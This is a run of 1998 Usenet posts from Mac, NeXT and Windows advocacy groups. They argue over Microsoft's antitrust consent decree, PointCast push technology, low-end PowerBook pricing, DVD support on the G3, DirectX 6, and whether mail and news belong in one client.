References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu>
In article <6iqe3d$q5e$1@vixen.cso.uiuc.edu>, tsmurphy@cs.uiuc.edu
(TERENCE MURPHY) wrote:
>In article <355d5b06.148323868@news.nai.net>,
>Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>
>>that may not have anything to do with anything but microsoft is but a
>>spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>>morris, at&t, etc..
>
>At over $200,000,000,000 Microsoft has the second biggest market
>value (only behind GE) of any company in the world.
That only suggests that their shareholders have the most to lose. Their
earnings are in the $3-4B range and their sales around $12B. Their P/E is
an incredible 56. With only $12B in sales, in terms of direct impact to
the economy, they are but a spec of dust on the nuts of GE whose sales are
roughly $100B per year.
Should MS fall off the face of the planet, the US economy would be no
worse for wear. The resulting panic, that we had no #2 company to back us
up would be enourmous, however. That's called putting all your eggs into
one basket. Most people think it's a bad idea. Why do so many MS
apologists think otherwise?
-Bob Cassidy
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Pointcast and Apple?
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References: <kalivoda-0605981403490001@defiant.cssites.uga.edu> <6ir3s0$8n9$1@ha2.rdc1.nj.home.com>
<3551431F.B4B493B4@alum.mit.edu>
Message-ID: <Jfl41.89$sy4.269419@news.rdc1.sdca.home.com>
Date: Thu, 07 May 1998 16:25:13 GMT
NNTP-Posting-Date: Thu, 07 May 1998 09:25:13 PDT
Organization: @Home Network
In <3551431F.B4B493B4@alum.mit.edu> Eric Hermanson wrote:
>
>
> Chris Van Buskirk wrote:
>
> > Simply because push technology is dead. Way dead. Whats
> > next...XML?
>
> I'm not sure about that. Even though my lowly 28.8 connection is too slow
for most "push" technology, I think it has the potential
> to be a useful thing, especially for budding daytrader on-line investors. I
think as cable modems propagate, we'll see more push
> technology. I do think that standards have to be put into place to avoid
bandwidth abuses.
>
>
Hi Eric, we use cable modems and Pointcast was a non-starter for the three
industries we used. For Medical, the content "freshness" was 4 da behind the
major web sites. Consequently, If you are checking the web more than once a
week Pointcast was redundant. For Education, Pointcast was incomplete and
irrelevent coverage. Lastly for Business, the Pointcast system pushed too
much PR and the news that did get put up was repost of CNN, etc.... So it
lacked specificity and timeliness.
It sounded like the best of the push technologies but the ability of "Push" to
compete with "Broadcast" isn't there yet. Even in a world of cable modems and
24/7 access. If Push can better its position in line on the news food chain,
we would come back to give it a second try. I have to admit I'd like to have
the second incarnation of Push user configurable. Where users are able to
selectively choose portions of CNN, CBS, etc... that they follow. This model
would best fit the financial marketplace where you are tracking any number of
sites.
-r
From: Barry@netbox.com (Barry Twycross)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Thu, 07 May 1998 22:52:55 -0700
Organization: Me
Message-ID: <Barry-ya02408000R0705982252550001@nntp.netgate.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com>
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In article <6it738$ceg$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
>So from $2000 and up, Apple ROCKS! Now I ask APple to be even bolder!
>$999 powerbook 3400 180 with dual scan screen,48 megs ram, 2 gig hard drive,
>2 megs vram, floppy(modem, 10 base t optional)
>$1599 3400 200 with active matrix, 48 megs ram, 2 gig hard drive, 2 megs
>vram, floppy (modem, 10 base t optional)
Steve Jobs did say they were planning a consumer level portable to be
introduced in '99. There are also rumours going round of a Mac in the eMate
form factor. Cross that with the iMac and what do you get?
Take the eMate form factor, transparent and green, and light (4lb, light
than my Duo, yeah!). It'd have to have a larger screen, a 12" 800x600 would
do, an option of active matrix would be nice, but difficult to make at the
$999 price point.
A 300Mz G3 processor, 512k backside cache. 32M/2G, not much in the way of
expandability, just USB, maybe firewire, maybe PC card slots. Built in V.90
modem and 4M irda. No expansion bay, floppy or CD can be attached by USB.
(USB can carry CD sound effectivly).
You don't want something clunky like a 3400 for that market.
Like I said the passive matrix version would sell for $999, I'd go for the
active matrix version at $1299.
--
Barry
Barry@netbox.com <http://www.netbox.com/barry>
------
<Obsolete sig deleted>.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 06:16:40 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3552A348.748F62CC@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net>
<1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net>
<1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
<6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
<35520F22.1486@CONVEX.COM> <SCOTT.98May7223535@slave.doubleu.com>
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Scott Hess wrote:
> Are going to the Post Office to check your PO box and going to the
> Post Office to read a bulletin board the same thing? I mean, they're
> both the same Post Office, right?
From a client UI perspective, yes.
> Also, you can choose to get one newsgroup. You can't generally choose
> to read multiple pop3 mailboxes.
Why not?
MJP
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Fri, 08 May 1998 01:18:59 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35524F6F.5442@earthlink.net>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1> <354F8D13.EE@earthlink.net> <rmcassid-0605981145470001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> That'd be a great argument except that Apple does sell a DVD drive for the
> G3, both desktop and laptops. The desktop ones have been around for a
> month or so though they were delayed in shipping to customers a bit at
> first.
Apple had stated it wanted to be the first to ship with DVD long ago.
It wasn't. DVD on PC's has been around almost a year. Apple is only
just now selling 'em. There still isn't a DVD available for older
Macs. Cool DVD will be hear in June. Oh Joy. One product from one
company. No competition. Wonder how much they'll charge? I still want
one though!
Steve
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Fri, 08 May 1998 10:33:26 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <355341E6.5AE9@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com> <3551DE2B.1967@zvw._REMOVE_THIS_de> <6isol3$4h2$1@newsfep4.sprintmail.com>
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Pinochet wrote:
>
> Rolf Magnus wrote in message <3551DE2B.1967@zvw._REMOVE_THIS_de>...
>
> > > >Yes, I nearly only use windows for games, so if I want to play
new
> > > >games, I will need it.
> > >
> > > MAYBE. Depends on which version of DirectX the game uses, and
> > > if MS doesn't come up with a patch for DX6 on 95...
> >
> >New games will most likely use dx6
>
> New games AFTER DX6 comes out.
Yes. But on which os?
> >and I doubt that dx6 will be fully supported on 95
>
> Your doubts are not certain however...try to remember that.
My doubt is based on the marketing strategies I see from Microsoft.
It's not certain, but likely.
> >So Microsoft will develop DX6 on NT, but then release it on W98
first?
> >Why?
>
> Probably because MS intends to switch everything to the NT Line
> after this last version of the Win 9x line.
That's not a reason to first release DX6 on W98 only, although it also
would work on NT.
> > > Will you? Only if DX6 isn't ported to your current OS.
Entirely
> > > possible, but not certain..
> >
> >Do you really think Microsoft didn't see this? They will use some
tricks
> >to make new games incompatible to 95. You will see this for sure!
> I'd rather be optimistic. And in any case, it won't be entirely
Microsofts
> fault,
> some of it will belong to the developers of the games.
I am sure that win98 will offer some new features for games that are
needed to write a cutting edge game and that are not, or at least
very hard to do in win95.
> > > Nope. You can buy NT5, or 98 either one, as MS fully intends
> > > DX6 to run well on both.
> >
> >Like on 95 and NT4? DirectX on NT4 is CRAP.
>
> Irrelevant. And don't you think that MIGHT be a factor in why the
> work is being done on NT5 first?
It's NOT irrelevant that Microsoft does not care about the users of
their current OS, but develop new things on an OS that comes out
in the y2k or so.
> >Do you believe in Microsoft?
>
> Yes believe Microsoft exists...and I believe they will usually report
> the truth to me and others, and that when others substantiate these
> reports, I can trust them even more.
I also believe Microsoft exists, but that's all I believe about them.
They do NOT tell the truth to you and others (to anyone?)...
> >Ok, this may be correct. But they could do some version of DX6 that
> >is not able to support the hardware, by leaving out some important
> >features. (Like the 3d hardware support on DX for NT4)
>
> They could, but they probably won't....in fact they've said they
won't.
I want to see it to believe it...
> >> and three, MS fully intends to kill the 9X branch of Windows after
this
> last
> >> iteration.
> >
> >Ok. That's right. I like to see their new neat marketing strategy
then.
> >M$ will find another way to get your money.
>
> Yes, they'll sell you an OS based on the NT kernel.
That would be ok, but there sure are some secret plans...
> > > > Wrong. While in limited groups MS might be hated, in others,
> > > >people just don't give a shit..
> > >
> > >This does not have to do something with newsgroups are whatever
> > >groups you meant. It is a general tendency.
>
> > > Proof please? Surveys, Polls, things like that....no
self-selected
> >ones mind you, but you don't have to provide something of the
quality of
> a
> >Gallup..
> >
> >Sorry, I don't have any statistics, it was only my oppinion.
>
> Well, then please represent it that way...or as your own experience,
or
> something else...not a proven conclusion.
This does not have to do something with newsgroups are whatever
groups you meant. IMHO, it is as general tendency.
> > It seems that nearly everytime I hear about Microsoft or about
Windows, be
> it from >my friends, in the University where I study (computer
engineering),
> at work,
> >on the web,... it seems that everywhere there are complaints.
> Complaints don't equal hatred, for example I complain about my Amiga
500
> all the time, but I wouldn't throw the old girl away, even if I do
have a
> better
> choice right next to it...
So you love Windows like you love your Amiga? Or do you think that there
are
more people that love Windows like you love your Amiga than people that
hate
it?
> > Don't you experience the same?
>
> Not a general level of hatred. Nor all that many complaints about
> Microsoft,
> as opposed to problems with the OS and programs..
Now, the complaints about the OS and the programs from Microsoft are not
of the kind of your complaints about your Amiga. Maybe there are not
*yet*
so many people that complain about M$, but many that complain about
Windows
or Office97 or whatever.
And if you once have to write something with winword98 and then, after
several
hours, you are at last ready, it refuses to save your work, then you
*will*
hate it.
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 7 May 1998 11:18:39 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6isqdf$msl$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net> <6ikvgs$o2u$1@xmission.xmission.com> <01bd79d8$9b79f5c0$c07498cf@edwint.rauland.com>
In comp.sys.next.advocacy Edwin E. Thorne <edwin.thorne@rauland.com> wrote:
: IBM and Novell have their own OS strategies to promote, and have little to
: no reason to help Apple with Rhapsody.
Novell's OS strategy is to allow any user on any platform to store their
files and run server-side logic on NetWare. It's in Novell's best interest
to support popular platforms. So far, they have been silent on Rhapsody.
............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 11:31:36 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981131360001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net>
In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>And what happens when the laws are bad ones? Or have unpleasant
>side-effects? Nothing, usually. We don't elect people to fix unpleasant
>side-effects, so the rarely get fixed.
You're a real idiot. Do you vote for judges? Do you vote for district
attorneys? District Attorneys pursue to uphold the laws, judges determine
if the laws are worthy of upholding. Your legislators think up new laws
that later get hammered on by the first two. You participate in the
*whole* process. If you don't like a law, file a lawsuit and try to have
it reversed. It does happen. Several of California's propositions were
deemed unconstitutional and overturned as a result of lawsuits.
-Bob Cassidy
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:42:31 -0400
Organization: Interport Communications Corp.
Message-ID: <6isrq7$qm4$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com>
Jeremy Crabtree (crc3419@delphi.com) wrote:
: Other companies may be "hurt," as you put it, but that is entirely their
: fault for investing too much money into a product that A) Is still being
: developed(hopefully not this late in the game though),
Well, as of Comdex, it was still crashing unpredictably. ;-)
: B) Was questionable from the get go (think of the investigations that
: were already going on when it was announced)
So you think that money-making entities should be responsible for their
own decisions? How refreshingly rational.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:39:23 -0400
Organization: Interport Communications Corp.
Message-ID: <6isrkb$qgg$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: You can't (legally) buy OSR2 for an existing machine. If you have an
: existing machine and you want some of these features, then you need Windows
: 98. I agree that if you buy a new machine you may have little use for
: Windows 98.
You also can't legally leverage dominance in one market to gain share in
another market. But you don't seem so concerned about that, somehow.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:36:32 -0400
Organization: Interport Communications Corp.
Message-ID: <6isrf0$qae$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: Peter wrote in message ...
: >
: >Because these guys have decided to market vaporware on a promise that the
: >product will be delivered. IMHO, this guys fucked themselves. As to the
: >point of hurting business, what CRAP. The only businesses that are hurt
: >are the one s marketing it befroe its release.
: Peter, should they have waited until after the release before talking about
: it? Before marketing it? Before spending money to develop promotions?
Business is a money-making proposition. You put in money and you try to
get more money out. There is no guarantee that you will succeed. I don't
know where you got the idea that the U.S. is some kind of charity intended
to protect peripheral manufacturers, OEMs and ISVs. The U.S. government
exists for the protection and welfare of the *people*, not for these
fictional entities known as corporations.
These companies decided to ride Microsoft's coattails. They did this
knowing that MS is commercially successful. They also did this knowing
that MS has shady ethics and questionable business practices. So they
reaped the benefits of Microsoft's mendacity, and now they should be
exempt from paying the price? Hogwash.
--
Ben
<Just Another System Administrator>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 13:38:29 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981338290001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net>
In article <6ipuo7$606$1@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>Robert,
>
>Companies will often agree to consent decrees and out-of-court settlements,
>not because they're guilty, but because it's cheaper. Lawyers are expensive,
>time spent in court is expensive, and so is the uncertainty in your partners
>due to not knowing the outcome of a trial. A trial, and the attendant cost
>and uncertainty can stretch on for months. But a settlement represents the
>period at the end of the sentence, even when the sentence itself is an
>unpleasant one.
>
>Accepting a settlement or consent decree, or for that matter, pleading
>guilty to a lesser charge, are not admissions of guilt. It doesn't mean
>they're "unofficially guilty".
Normally I would agree with you, but in the case of a consent decree which
*clearly* hampers MS's ability to move into new markets, I can't see them
willing to do that just to save a few bucks. MS isn't built on the dollars
of today which pay legal expenses, rather on the dollars of tomorrow which
hold up their stock price.
The non-bundling clause is *huge*, unless MS was going to:
A) ignore it.
B) pretend it is meaningless.
Clearly they chose B based on the 'we can bundle a ham sandwich if we
want' remark. A ham sandwich IS a separate product, just as a web browser
is. I can't imagine that MS would willingly put a bullet in their plans
for growth unless they were caught pretty much dead to rights. Perhaps it
was just a massive screwup by MS execs and legal council.
MS didn't plea to a lesser charge, they pled to a very significant charge.
One that could cost them billions. So why wouldn't they fight it out if
those were the stakes? Even all the tobacco wrangling has stayed far shy
of the $1B mark for legal fees.
And in spite of all of this, you avoided the point altogether. Just
because they weren't found liable for something, doesn't mean that they
didn't do it. Do you want to know if they did it, or if they were found
liable for it? Is it alright if I kill someone, just so long as I don't
get caught?
-Bob Cassidy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 8 May 1998 08:42:46 GMT
Organization: P & L Systems
Message-ID: <6iugi6$4f3$7@ironhorse.plsys.co.uk>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102>
<6iptqc$4f3$2@ironhorse.plsys.co.uk> <6itjb5$hq0$1@nntp3.interaccess.com>
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Cc: nevin@CS.Arizona.EDU
In <6itjb5$hq0$1@nntp3.interaccess.com> "Nevin ":-]" Liber" wrote:
> mmalcolm crawford wrote in message <6iptqc$4f3$2@ironhorse.plsys.co.uk>...
>
(Well, actually I was quoting Nathan, but...)
> >"For volume/up down, I can more or less instantaneously hit something like
> >PgUp/PgDown or Home/End or a couple of function keys. Much faster than I
> > can mouse down to a control strip, select a new volume or mute it, then
move
> >back."
>
> The difference is, the control strip gives you direct visual feedback of
the
> action you perform. After using it to set the volume, I know exactly how
> the volume is set.
>
I don't care, though, what the volume setting number is -- I usually want to
change the volume when I'm listening to something, so I get direct audio
feedback. Most frequently I want to mute the whole thing immediately, which
I can achieve using the Command-soundDown key combination. To open a control
panel and find the mute switch takes longer.
Best wishes,
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 13:47:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981347420001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6iqfhh$3pv$1@gte2.gte.net>
In article <6iqfhh$3pv$1@gte2.gte.net>, roger@. (Roger ) wrote:
>On Tue, 05 May 1998 13:03:57 -0700, someone claiming to beRobert
>Cassidy wrote:
>>While the supreme court has not, AFAIK, ruled _clearly_ on the issue, they
>>have ruled in a manner that suggests they would extend it to this case, if
>>it even needed to go that far.
>
>And no, since the SC have not ruled in a case that involved software
>nor any other product which evolves in the way that software does,
>there is no reason to believe that a ruling in this case will be based
>on anything other than its own merits. It could very be, but the
>claim was not that precedent suggests that they may rule one way or
>the other, but that they already had.
They ruled in the case of medical services, which evolve at *least* as
quickly as software and which carry even greater stakes than software. For
these reasons I would think that MS is in a very weak position. Their
product is not so noble as medicine and certainly isn't lobbied as
heavily.
>>The extension to MS would be that if the _marketplace_ considers a browser
>>to be a separate product from an OS, that even if MS doesn't charge for
>>it, it is in fact a separate product. So that in this case MS would be
>>bundling a separate product with it's OS and be in violation of the
>>consent decree.
>>
>>The argument stems around whether the marketplace considers a browser to
>>be a product in and of itself and whether this definition should be
>>applied to software.
>
>And if so, whether integrating technology previously available
>separately into an OS constitutes bundling. And there is ample
>precedence for doing just that -- the consent decree says absolutely
>nothing about defragmenters, disk repair utilities, backup utilities,
>memory managers, etc. being rolled into the base product being a Bad
>Thing (t.m.)
Of course it constitutes bundling. How else would you define it? And there
is no ample precedence for doing that since MS has not had a chance to do
it since the decree was signed. Apple can do it. IBM can. HP can. Compaq
can. Dell can. Intuit can. MS cannot.
It has nothing to do with it being a Bad Thing. It has to do with it being
a fair thing for the marketplace. That is why MS is being singled out
here. Their position, by their own action, causes it to be unfair to the
marketplace. And I think they will *seriously* lose when it comes to
internet services that compete with UAL, GM, Citicorp, etc. That is
becuase of the browser issue, the only way for GM to give it's web site
the same kind of access as MS car buying service site is for GM to
outmarket MS not just on a browser, but on an OS. That is *clearly*
extending the reach of their power. MS has gotten in the way of GM's
progress now. They are just so far out of their league now, I see no other
course than additional action against MS.
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 13:15:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6isc63$9ih$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
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<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
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<6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
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Cc: phenix@interpath.com
In <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> John Moreno
claimed:
> It's not the editors (as in the composing window) that need to have a
> hugely different interface. But there still needs to be different
> commands for creating that window
Double click works in every case I've seen on any platform.
> and then the interface for filing
> both the incoming and outgoing messages need to be different.
Why? Everyone keeps talking about "scaling" problems and then when asked
for example simple list a bad implementation.
Look, CyberDog DID this. It did it WELL. It WORKED.
> No, it is the fundamental difference in the mechanisms - mail is a push
> technology, while news is a pull. And that goes right along with the
> difference in the number of recipients.
There you go talking about the technology again. This has nothing to do
with the technology someone created 20 years ago on a net that had 50000
active people on it! From a technology standpoint both systems suck and are
unlikely to change. This is about USER PERCEPTION, and user perceptions to
date have been forced into specific modes because the programmers write apps
that force it to be such.
> I could of course set up a newsserver for myself and then have different
> groups for each person I wanted to talk to, I could probably even rig it
> so that each person could only access the newgroup used for talking to
> them - but then they'd have to check to see if I had new messages for
> them. Which most of them would never do.
You could also have a system that would mirror your personal mailbox into a
private newsgroup, and used the headers to send it back out the same way.
Given a generalized offline operation you've be hard pressed to tell the
difference.
> News is a soap box, mail is knocking on your door and saying I need to
> talk to you.
And what is a maillist?
> The conceptual differences NEED to be kept clear.
You have a brain, that if it is indeed a quantum computer as I suspect, has
something on the order of 10^40 "gates". Brains are really really good at
conceptual differences, computers are not. Why not use your brain to do
this? Why is it that you think putting both systems into a single interface
would have ANY effect WHATSOEVER on the way you interact with it?
Maury
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 07 May 1998 14:13:50 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5sommt0dd.fsf@ai.mit.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53> <usomn71tm.fsf@ai.mit.edu> <6iqsv5$h86$2@cronkite.cygnus.com> <us5zpgut1yo.fsf@ai.mit.edu>
Stephen Peters <portnoy@ai.mit.edu> writes:
> I've been noticing recently that more mailreaders are tacking on a
> References: header to make mailing lists threadable, tracking the
> Message-ID's in the thread.
In fact, I'm pretty sure that NeXT's Mail.app does this (although that
might only be when you add in the EnhanceMail bundle).
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Wed, 06 May 1998 11:45:47 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981145470001@dante.eng.uci.edu>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1> <354F8D13.EE@earthlink.net>
In article <354F8D13.EE@earthlink.net>, skellener@earthlink.net wrote:
>Well, DVD is soon going to be the format of choice and there's only ONE
>DVD player available for G3's only (not even made by Apple). Whatever
>happened to Apple being the FIRST company to ship computers with DVD's?
>They are now DEAD LAST!!
>
>Come on Apple! Get on with it!
That'd be a great argument except that Apple does sell a DVD drive for the
G3, both desktop and laptops. The desktop ones have been around for a
